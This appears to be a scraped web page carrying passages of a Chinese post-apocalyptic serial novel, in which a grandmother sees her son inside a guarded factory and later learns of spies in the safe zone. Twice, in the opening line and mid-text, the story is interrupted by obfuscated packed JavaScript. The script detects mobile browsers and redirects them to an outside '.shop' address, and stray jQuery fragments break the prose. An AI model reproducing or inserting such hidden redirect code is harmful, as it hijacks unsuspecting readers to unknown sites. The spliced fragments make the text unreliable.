;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537421|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
议论声传入耳中,王桂香心里越发清明。她原本想着,哪怕拼尽全力,也要留在厂区附近,再寻机会见张强一面,可眼下看来,这根本行不通。老周已经在清点人数,催促着大家收拾东西,准备返程,丝毫没有让外人逗留的意思,门口的守卫也目光锐利地扫过众人,但凡有人多停留片刻,都会被厉声呵斥。
“都动作快点,物资清点完毕,立刻返程,不许在厂区内逗留!”老周的声音传来,带着不容置疑的严肃,他走到王桂香身边,看了她一眼,见她脸色苍白,眼底还有未散尽的红,只当她是被刚才的感染者吓着了,低声叮嘱,“大娘,收拾好东西,跟上队伍,别落单,这地方不是久留之地。”
王桂香压下心底的万般不舍,点了点头,声音沙哑却沉稳:“周大哥,俺知道了,这就走。”她不敢再多看厂区一眼,生怕自己忍不住回头,露出破绽,只能低着头,默默拿起自己的麻布包,跟在队伍末尾,朝着侧门的方向走去。
脚步沉重得像灌了铅,每走一步,都离张强更远一分。方才还近在咫尺,仿佛一伸手就能碰到,转眼便要再次分离,这种咫尺天涯的煎熬,比在荒野里漫无目的地寻找更折磨人。她心里一遍遍默念着儿子的名字,暗暗发誓,这一次,她绝不会再弄丢他,就算机械厂固若金汤,就算前路布满危险,她也要想办法,再进来一次,真正和儿子团聚。
穿过侧门的关卡,守卫再次仔细检查了每个人的身份,确认没有外人滞留,才挥手放行。走出机械厂的那一刻,晨雾已经彻底散去,阳光刺眼,可王桂香的心却沉到了谷底。身后那道厚重的铁门,像是一道无形的屏障,隔开了她和儿子,也隔开了她所有的期盼。
队伍沿着原路返程,没了来时的紧张,却多了几分疲惫。王桂香浑浑噩噩地跟着走,脑子里全是张强的身影,他比末世前瘦了太多,脸上满是疲惫,眼底带着藏不住的沧桑,显然在机械厂的日子,也并不好过。他是不是也在四处打听她们的消息?是不是也在盼着团聚?他有没有受委屈?有没有被人欺负?无数个念头在她脑海里翻涌,搅得她心神不宁。
一路上,她都沉默不语,没和任何人说话,只是紧紧攥着手里的麻布包,感受着里面柴刀的冰凉触感,这是她唯一的底气。老周看出她情绪不对,却也没多问,只在路过危险路段时,特意放慢脚步,守在她身边,护着她安全穿过感染者出没的区域。
不知走了多久,安全区的轮廓终于出现在视野里,那片错落的窝棚、昏黄的巡逻灯,此刻在王桂香眼里,成了暂时的避风港。她此刻最牵挂的,还有留在中转站的三个孩子,不知道他们有没有哭闹,有没有好好吃饭,有没有被老周照顾好。
一进安全区西门,林生就快步迎了上来,他眼神急切,上下打量着王桂香,见她完好无损,才松了口气,却又发现她眼底通红,神情落寞,心里顿时一沉,压低声音问:“大娘,怎么样?有没有……有没有见到人?”
41.第 41 章
王桂香看着林生,嘴唇动了动,千言万语堵在胸口,最终只轻轻点了点头,声音轻得像羽毛,却带着十足的笃定:“见到了,是强子,真的是他。”
林生浑身一震,脸上瞬间露出惊喜的神色,刚要开口说话,就被王桂香拉住了,她朝着四周看了一眼,示意这里人多眼杂,不宜多说。林生立刻会意,点了点头,快步带着她朝着中转站的方向走去:“孩子们都在老周那,好好的,没哭没闹,老周给他们找了吃的,一直照看着,你放心。”
赶到中转站仓库,三个孩子正坐在角落的干草堆上,乐乐守着弟弟妹妹,手里拿着一块饼,慢慢掰给妞妞和小宝吃,看到王桂香回来,三个孩子瞬间眼睛亮了,齐齐站起身,朝着她跑过来。
“奶奶!”妞妞最先扑进她怀里,紧紧抱着她的腰,小脸上满是思念,“奶奶你可回来了,妞妞好想你。”
小宝也拉着她的衣角,仰着头,眼神里满是依赖,乐乐则站在一旁,小声问:“奶奶,你没事吧?”
看着孩子们稚嫩的脸庞,听着他们软糯的声音,王桂香心里的酸涩与煎熬瞬间涌上,却又被暖意包裹。她蹲下身,把三个孩子紧紧搂在怀里,轻轻拍着他们的背,一遍遍地说:“奶奶没事,奶奶回来了,让你们受怕了。”
林生站在一旁,看着这一幕,心里也满是感慨,等孩子们情绪平复,才拉着王桂香走到仓库僻静处,再次低声询问:“大娘,到底是什么情况?既然见到了,怎么没跟他说上话?”
王桂香叹了口气,将在机械厂内的遭遇一五一十地说了出来,从遇到感染者的凶险,到远远望见张强,再到阿虎在旁、无法相认的无奈,还有机械厂内的森严规矩,一字一句,说得格外仔细。“他就在阿虎身边,身不由己,连句话都没法说,俺要是贸然上前,只会害了他。”王桂香说着,眼眶又红了,“这里人多,俺不敢多待,只能跟着队伍回来,可俺心里,实在放不下。”
林生听完,眉头紧锁,陷入了沉思,半晌才开口:“大娘,我明白你的心思,可机械厂比我们想象的还要难进,阿虎那人不好惹,周主任又管控极严,咱们贸然行动,肯定行不通。眼下最要紧的,是先回窝棚,从长计议,你刚从外面回来,又受了情绪煎熬,先好好歇一歇,孩子们也需要安顿。”
王桂香知道林生说得对,她此刻心神不宁,也想不出稳妥的办法,只能点了点头。林生去和老周道谢,老周也没多问,只叮嘱他们往后行事小心,便转身去忙自己的事了。
牵着孩子们的手,走在回窝棚的路上,王桂香的脚步依旧沉重,可心里却多了一份坚定。之前漫无目的地寻找,是绝望中的挣扎,如今知道了儿子的确切下落,知道他还活着,就在不远处的机械厂里,她便有了支撑下去的力量。
回到熟悉的窝棚,林晓早已在门口等候,她看到王桂香,连忙迎上来,关切地询问情况,得知王桂香见到了张强,也忍不住露出欣喜的神色,可听了后续的无奈,又跟着皱起了眉。“大娘,你别着急,至少我们确认了张强叔的位置,也知道他是安全的,这就比之前强太多了。”林晓轻声安慰道,“我明天去医疗点,再托人打听打听机械厂的消息,看看有没有能接近核心厂区、或者和张强叔说上话的办法。”
王桂香看着林生父女,心里满是感激,若不是他们一路相助,她根本走不到今天,更别说见到儿子。她深深吸了一口气,压下心底的急切,眼神变得无比坚定:“好孩子,多谢你们,俺不急,俺等。只要知道他好好的,俺就有耐心等,等一个能和他团聚的机会,等咱们一家人,再也不分开。”
夜色渐渐笼罩了安全区,窝棚里亮起了昏黄的煤油灯,灯光微弱,却温暖了小小的空间。王桂香把孩子们安顿在干草堆上,看着他们熟睡的脸庞,又轻轻摸了摸小宝眉骨的疤痕,脑海里再次浮现出张强的身影。
咫尺天涯又如何,重重阻碍又怎样。
她熬过了荒野的凶险,躲过了基地的追捕,扛过了流离失所的苦难,如今终于看到了团聚的曙光,就算再难,她也绝不会放弃。
她会在安全区里好好活下去,护住身边的孩子,积攒力气,等待下一次机会。
总有一天,她会再次踏入机械厂,走到儿子面前,亲口喊一声“强子”,一家人紧紧相拥,再也不用承受分离之苦。
窗外的风轻轻吹过,带着安全区独有的烟火气,王桂香坐在灯下,静静守着孩子,心里满是期盼,等着那一天的到来。
安全区的天刚蒙蒙亮,薄雾还缠在窝棚的檐角,王桂香就已经醒了。
昨夜她几乎没合眼,闭上眼就是机械厂内张强转身离去的背影,还有他眼底那抹藏不住的牵挂与无奈,翻来覆去,心头发堵。身边三个孩子睡得沉,妞妞的小手还勾着她的袖口,小宝眉头微蹙,大概是梦里还念着奶奶,乐乐即便睡着,身子也朝着外侧,习惯性地护着弟弟妹妹。王桂香轻轻替孩子们掖好被角,指尖拂过他们稚嫩的脸颊,心底那股急切寻子的念头,终究被对孩子的牵挂压下几分。
她知道,冲动换不来团聚,只会把孩子们推入险境。如今张强就在机械厂,虽身不由己,却好歹性命无忧,她能做的,不是贸然再闯厂区,而是沉下心来,在安全区稳住脚跟,悄悄打探消息,等一个真正稳妥的机会。
起身轻手轻脚收拾好窝棚,把林晓留下的草药、压缩饼干仔细藏进干草堆下的木盒里,又将那把柴刀磨得锋利,裹好布片贴身放着。做完这些,她才掀开窝棚布帘,清晨的空气
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539793|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
带着凉意,吸进肺里,让混沌的脑子清醒了不少。
林生已经在不远处等着,手里拎着刚领的早饭,两碗稀粥,三块玉米面饼,还有一小撮咸菜,是他特意从自己份里省出来的。“大娘,醒了?先吃点东西,垫垫肚子。”他快步走过来,把早饭递到王桂香手里,眼神里带着几分凝重,“今早我去分拣点,听老赵说,最近安全区里来了不少生面孔,看着不像普通流民,行事鬼祟,总在窝棚区和物资点转悠,怕是基地的探子。”
王桂香捏着饼的手一顿,心头一紧。基地的人,终究还是把触角伸到安全区了。她从基地逃出来的事,若是被探子察觉,不光她自身难保,林生父女、三个孩子,甚至帮过她的老赵、老周,都会被牵连。“真的?”她压低声音,语气里满是担忧,“那俺们以后,是不是得更小心?”
“何止是小心,得处处提防。”林生点点头,环顾四周,见没人留意,才继续说道,“治安队已经开始暗中排查了,只是安全区人多眼杂,一时半会儿也揪不出来。我跟老赵说了,往后你就在分拣点最内侧干活,少跟陌生人搭话,孩子们也尽量待在窝棚里,别到处乱跑。对了,晓燕今早去医疗点,托了一个常跟机械厂打交道的伤号打听消息,说傍晚回来,应该能有信儿。”
听到有张强的消息,王桂香的眼神瞬间亮了,连日来的落寞散去不少,连忙追问:“真的?那护士能问到啥?强子在厂里到底咋样?有没有办法递个话?”
“别急,晓燕说了,那人是机械厂的老工人,跟张强在一个车间干活,嘴严,也心善,愿意帮忙。”林生安抚道,“只是机械厂管控严,递话、见面都难,咱们先听消息,再慢慢想办法,千万不能露了马脚。”
王桂香重重点头,把手里的饼掰成小块,小口嚼着,心里却早已翻江倒海。她盼了这么久,等的就是能知道儿子近况的机会,哪怕只是一句安好,哪怕只是能递一句口信,也能让她悬了大半年的心,稍稍落地。
吃完早饭,王桂香牵着孩子们,跟着林生往物资分拣点走。一路上,她刻意低着头,目光留意着四周,果然看到几个陌生男人,穿着洗得发白的粗布褂子,看似在闲逛,眼神却不停扫过往来的人,尤其是带着孩子、孤身一人的幸存者,目光停留得更久,眼神里没有流民的疲惫,反倒透着一股审视的冷意,一看就不是善茬。
王桂香心里发沉,下意识把孩子们往身边拉了拉,加快脚步,跟着林生走到分拣点内侧的角落。这里靠近医疗点,人多,也有治安队偶尔巡逻,相对安全。老赵早已在分拣点忙碌,看到王桂香,朝她使了个眼色,示意她安心干活,少说话,王桂香会意,默默坐下,拿起旧衣物开始分拣,动作麻利,却也时刻竖着耳朵,留意周围的动静。